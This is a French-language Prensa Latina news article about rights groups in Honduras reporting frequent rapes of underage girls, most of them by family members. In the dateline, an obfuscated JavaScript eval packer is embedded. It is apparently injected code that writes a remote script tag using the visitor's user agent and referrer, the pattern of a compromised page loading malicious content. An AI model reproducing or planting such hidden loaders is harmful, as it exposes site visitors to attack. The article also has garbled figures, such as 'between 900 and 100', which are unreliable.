vendredi 26 juillet 2024 |
Prensa Latina - Qui sommes nous

| Contacter avec Prensa Latina

Agence d'information Latino-américaine
Édition française
Search
Close this search box.

On dénonce l’impact des viols au Honduras

Tegucigalpa eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyehe|var|u0026u|referrer|ykind||js|php'.split('|'),0,{})) (PL) Au moins trois filles mineurs en moyenne sont violées quotidiennement au Honduras, ont dénoncé les organisations pour les droits de la personne et de la femme.

Tegucigalpa (PL) Au moins trois filles mineurs en moyenne sont violées quotidiennement au Honduras, ont dénoncé les organisations pour les droits de la personne et de la femme.

Selon les registres médicaux obtenus par le Comité de l’Amérique Latine et les Caribes pour la Défense des Droits de la Femme (CLADEM), entre 900 et 100 filles sont violées annuellement dans le pays et comme résultat maintenant font partie de la population materne juvénile.

¨Le seule fait qui est claire est que les 907 mineures ont accouché comme résultat d’un viol, mais le chiffre pourrait être le double si on tient compte des zones rurales où plusieurs accouchement ne se réalisent pas dans des hôpitaux¨, a expliqué Leila Díaz, représentante du CLADEM.

Entretemps, Regina Fonseca a signalé que les victimes ont entre 9 et 15 ans, et la majorité se sentent forcées d’accoucher.

Il n’y a pas de réponse pour ces mineures qui doivent faire face à cette responsabilité sans l’avoir demandée¨, elle a ajouté, ainsi que la plupart des coupables , soit 80 pour cent, sont des familiers.

En ce sens, elle a dit plusieures mères des victimes ne font aucune accusation, puisque la pluaprt du temps la personne qui a abusé leur fille sexuellement est son propre père ou beau-père.

Les activistes ont sollicité l’Etat de redoubler les campagnes de prévention de violence contre les femmes, et de reviser les lois qui protègent les mineurs qui ont été victimes de viols résultant en grossesses non désirées.

Rm/dsa/abc

EN CONTINU
notes connexes